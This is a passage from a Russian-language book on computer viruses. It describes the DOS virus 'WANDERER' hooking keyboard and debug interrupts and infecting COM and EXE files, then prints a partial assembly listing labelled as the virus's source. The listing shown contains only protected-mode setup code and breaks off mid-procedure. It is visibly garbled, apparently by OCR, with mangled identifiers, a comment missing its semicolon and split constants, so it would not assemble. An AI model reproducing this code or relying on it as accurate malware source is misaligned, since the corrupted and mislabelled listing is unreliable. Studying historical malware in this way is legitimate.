контрольных точек на адреса входа в обработчик прерывания INT 21h и перехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицирует дескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Тем самым достигается тотальный контроль всех нажатий клавиш на клавиатуре и попыток мягкой перезагрузки компьютера.

Результатом вышеописанных действий является копирование вируса в память компьютера и переключение процессора обратно в виртуальный режим работы. Затем вирус освобождает ранее выделенную память DOS в верхних адресах и возвращает управление инфицированной программе.

При заражении файлов вирусный код внедряется в начало СОМ или в середину ЕХЕ-файла. Код вируса 'весит' 3684 байт, но, как правило, инфицированные им файлы имеют приращение длины более 3940 байт. Код вируса содержит текст 'WANDERER' (листинг 5.6).

Листинг 5.6. Исходный код 'WANDERER'

.286

.model tiny .code org 100h

; Подготовка к защищенному режиму работы

; Структура дескриптора

desc_struc STRUC

limit dw 0

baseJ dw 0

base_h db 0

access db 0

rsrvdw 0

desc_struc ENDS

ACC_PRESENT equ 10000000b

ACC_CSEG equ 01000000b

ACC_DSEG equ 00010000b

ACC_EXPDOWN equ 00001000b

ACC_CONFORM equ 00000100b

ACC_DATAWR equ 00000010b

DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR

; 10010010b

CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;

10011100b

STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN

; 1001011 Ob

;Размеры сегментов

CSEG SIZE=65535

DSEG_SIZE=65535

STACK_SIZE=65535

; Смещения дескрипторов

CS_DESCR=(gdt_cs-gdt_0)

DS_DESCR=(gdt_ds-gdt_0)

SS_DESCR=(gdt_ss-gdt_0)

Константы значений портов

CMOS_PORT equ 070h

STATUS_PORT equ 064h

SHUTDOWN equ 0FEh

A20_PORT equ 0D1h

A20_ON equ 0DFh

A20_OFF equ 0DDh

INT_MASK_PORT equ 021h

KBD_PORT_A equ 060h

start:

; Инициализация данных для перехода в защищенный режим

call init_protected_mode

; Сам переход

call set_protected_mode

; Возврат в реальный режим

call set_real_mode

; Печатаем сообщение 'Light General'

mov ah, 09h

lea dx, qw

int 21h

; Выход в DOS

mov ax, 4C00h

int 21h

; Макрокоманда для установки адреса для дескриптора

; в глобальной таблице дескрипторов GDT.

setgdtentry MACRO

mov [desc_struc.base_l][bx], ax

mov [desc_struc.base_h][bx], dl

ENDM

init_protected_mode PROC

mov ax, ds

mov dl, ah

shr dl, 4

shl ax, 4

; Устанавливаем адрес сегмента данных

; в глобальной таблице дескрипторов

mov bx, offset gdt_ds

setgdtentry

add ax, offset gdtr

adc dl, 0

; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов

mov bx, offset gdt_gdt

setgdtentry

; Вычисляем абсолютный адрес для сегмента кода ;

в соответствии со значением регистра CS

mov ax, cs

mov dl, ah

shr dl, 4

shl ax, 4

; Устанавливаем адрес сегмента кода ;

в глобальной таблице дескрипторов

mov bx, offset gdt_cs

setgdtentry

; Вычисляем абсолютный адрес для сегмента стека ;

в соответствии со значением регистра SS

mov ax, ss

Добавить отзыв
ВСЕ ОТЗЫВЫ О КНИГЕ В ИЗБРАННОЕ

0

Вы можете отметить интересные вам фрагменты текста, которые будут доступны по уникальной ссылке в адресной строке браузера.

Отметить Добавить цитату